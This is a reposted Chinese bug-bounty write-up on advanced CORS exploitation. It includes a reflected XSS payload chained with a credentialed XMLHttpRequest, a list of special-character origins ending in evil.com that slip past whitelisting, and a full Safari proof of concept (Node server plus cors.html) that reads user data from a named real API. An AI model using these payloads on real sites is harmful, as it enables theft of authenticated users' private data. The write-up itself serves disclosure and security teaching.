文章总结: 本文介绍了高级CORS利用技术,通过两个实际案例展示了如何利用CORS配置错误获取敏感信息。案例1展示了如何结合子域名中的XSS漏洞利用CORS错误配置;案例2介绍了更高级技术,利用Safari浏览器对特殊字符的处理差异,通过构造包含特殊字符的URL绕过CORS限制,无需寻找XSS漏洞或子域名接管即可获取用户数据。文章提供了详细的攻击原理和POC代码,对Web安全测试人员有较高参考价值。 综合评分: 89 文章分类: WEB安全,漏洞分析,渗透测试,漏洞POC,红队
高级 CORS 利用技术
迪哥讲事
2025年12月22日 09:01 江苏
以下文章来源于红云谈安全 ,作者红云谈安全
红云谈安全 .
把网络安全讲好、把技术搞好,持此之剑,破长空!
免责声明
由于传播、利用本公众号红云谈安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号红云谈安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!请在授权的站点测试,遵守网络安全法!仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
案例:#1
易受攻击的端点
大约一年前,我入侵了这个由 HackerOne 托管的私人程序。在 HTTP 请求中使用 Origin 标头,然后检查服务器响应以检查它们是否进行域白名单检查后,我注意到该应用程序盲目地只将子域列入白名单,甚至是不存在的子域。
出于隐私原因和负责任的披露策略,我们假设 Web 应用程序托管在以下位置:www.redacted.com
此 CORS 错误配置如下所示:
HTTP 请求:
GET /api/return HTTP/1.1 主机:www.redacted.com 来源:evil.redacted.com 连接:close
HTTP 响应:
HTTP/1.1 200 OK Access-control-allow-credentials: true Access-control-allow-origin: evil.redacted.com
此 API 端点返回用户的私人信息,例如全名、电子邮件地址……
为了滥用这种错误配置以便我们可以执行攻击,例如泄露用户的私人信息,我们需要声明一个废弃的子域(子域接管),或者在其中一个现有子域中找到 XSS。
跳出范围思考
找到一个被遗弃的子域名并不是那么容易,所以我决定选择第二个选项,在其中一个现有的子域名中寻找一个 XSS。但是,这个私有程序的范围仅限于:www.redacted.com,这意味着在其他子域中查找 XSS 肯定超出了范围,但是将此 XSS 与 CORS 错误配置链接起来在某种程度上在 Scope 中。右?
而且,其他子域超出范围的事实是让我更有信心的原因,因为其他黑客不会测试它们,因此很有可能在这些子域上找到 XSS。
于是,我开始搜索这个 XSS,满怀希望找到它,在不到一个小时的时间里,我在 banques.redacted.com 中找到了一个,使用了以下 payload:
https://banques.redacted.com/choice-quiz?form_banque="><script>alert(document.domain)</script>&form_cartes=73&iframestat=1
是时候创建一个漂亮的概念验证并提交一个报告
繁殖:
因此,要利用这个 CORS 错误配置,我们只需要将 XSS 有效负载 alert(document.domain) 替换为以下代码:
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.status == 200) {
alert(this.responseText);
document.getElementById("demo").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://www.redacted.com/api/return", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
喜欢这个:
https://banques.redacted.com/choice-quiz?form_banque="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>&form_cartes=73&iframestat=1
瞧,我们现在有了一个不错的 PoC:
Reward
Now, What if I told you that you can still abuse this issue without the need of finding an XSS in any of the existing subdomains, or claiming an abandoned one.
That exactly what we will be discussing in the second case.
Case:#2
Vulnerable Endpoint
This time, I was working on the Ubnt Program, and especially the Application hosted in: https://protect.ubnt.com/
Following the same process, I identified the same CORS Misconfiguration, similar to the previous case, but this time the application fetches the user’s private information from a different location, An API hosted in: https://client.amplifi.com/api/user/
This Application also blindly whitelist any subdomains, even non-existing ones.
而且,正如我们之前所讨论的,要滥用这种 CORS 错误配置,您需要声明一个废弃的子域,或者在现有子域之一中找到 XSS。
而且由于这是一个公共程序,范围很大(所有子域都在范围内);找到 XSS 的机会很小,甚至更不用说子域接管漏洞了。
那么,我们走到了死胡同吗?
高级 CORS 技术
嗯,事实证明,还有另一种方法,但它需要一定的条件才能奏效。
可以在这里找到 Corben Leo 最近所做的一项有趣的研究。表明可以绕过使用域名内的特殊字符错误实现的某些控件。
这项研究基于这样一个事实,即浏览器并不总是在发出请求之前验证域名。因此,如果使用了一些特殊字符,浏览器当前可能会在没有事先验证域名是否有效且存在的情况下提交请求。
例:
完全理解这个问题后,让我们尝试打开一个带有特殊字符的 URL,例如:http://asdf’+=.withgoogle.com。大多数浏览器会在发出任何请求之前验证域名。
域 withgoogle.com 用作演示,因为它具有通配符 DNS 记录
铬:
from https://www.corben.io/advanced-cors-techniques/
Firefox:
from https://www.corben.io/advanced-cors-techniques/
Safari:
As you can see, Safari is an exception, it will actually send the request and try to load the page, unlike the other browsers.
从 https://www.corben.io/advanced-cors-techniques/
我们可以使用各种不同的字符,甚至是不可打印的字符:
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
此外,可以在此处找到Davide Danelon所做的另一项研究表明,这些特殊字符的其他 Subset 也可以在其他浏览器上使用。
、
现在,我们知道了这一切,我们如何滥用此问题来执行高级 CORS 利用技术,为了一个很好的演示,让我们回到易受攻击的 Web 应用程序:https://client.amplifi.com/
新方法
在这种情况下,Web 应用程序还接受以下 Origin *.ubnt.com!。evil.com
不仅是 “!” 这个字符,还有以下几个:
*.ubnt.com!.evil.com
*.ubnt.com".evil.com
*.ubnt.com$.evil.com
*.ubnt.com%0b.evil.com
*.ubnt.com%60.evil.com
*.ubnt.com&.evil.com
*.ubnt.com'.evil.com
*.ubnt.com(.evil.com
*.ubnt.com).evil.com
*.ubnt.com*.evil.com
*.ubnt.com,.evil.com
*.ubnt.com;.evil.com
*.ubnt.com=.evil.com
*.ubnt.com^.evil.com
*.ubnt.com`.evil.com
*.ubnt.com{.evil.com
*.ubnt.com|.evil.com
*.ubnt.com}.evil.com
*.ubnt.com~.evil.com
您现在应该知道某些浏览器(例如 Safari)接受带有特殊字符的 URL,例如:https://zzzz.ubnt.com=.evil.com。
因此,如果我们设置一个域:evil.com 使用通配符 DNS 记录,允许指向所有子域 (*.evil.com) 发送到 www.evil.com,它将在如下页面中托管一个脚本:www.evil.com/cors-poc该脚本将简单地向易受攻击的终端节点发送一个跨域请求,并将子域名作为源值
然后,我们以某种方式强制经过身份验证的用户打开链接:https://zzzz.ubnt.com=.evil.com/cors-poc
从理论上讲,我们可以泄露该用户的私人信息。
繁殖:
- 首先,设置一个带有通配符 DNS 记录的域,将其指向您的机器,在我的情况下,我使用 GoDaddy 来托管我的域,配置如下:
- 安装 NodeJS,创建一个新目录,然后在其中保存以下文件:
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
- 在同一目录中,保存以下内容:
cors.html
<!DOCTYPE html>
<html>
<head><title>CORS</title></head>
<body onload="cors();">
<center>
cors proof-of-concept:<br><br>
<textarea rows="10" cols="60" id="pwnz">
</textarea><br>
</div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "https://client.amplifi.com/api/user/", true);
xhttp.withCredentials = true;
xhttp.send();
}
</script>
- 通过运行以下命令启动 NodeJS 服务器:
node serve.js &
-
现在,在 https://protect.ubnt.com/ 上登录应用程序,并检查您是否可以从终端节点检索您的帐户信息:https://client.amplifi.com/api/user/
-
最后,打开链接: https://zzzz.ubnt.com=.evil.com/cors-poc在 Safari 浏览器中,瞧。
就我而言,我在 iPhone 中使用 Safari 浏览器作为 PoC,因为我没有 Mac 机器。
如果你是一个长期主义者,欢迎加入我的知识星球,本星球日日更新,绝非简单搬运,包含号主大量一线实战,全网独一无二,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
往期回顾
#
如何利用ai辅助挖漏洞
#
如何在移动端抓包-下
#
如何绕过签名校验
#
一款bp神器
挖掘有回显ssrf的隐藏payload
ssrf绕过新思路
一个辅助测试ssrf的工具
dom-xss精选文章
年度精选文章
Nuclei权威指南-如何躺赚
漏洞赏金猎人系列-如何测试设置功能IV
漏洞赏金猎人系列-如何测试注册功能以及相关Tips
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:迪哥讲事 《高级 CORS 利用技术》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论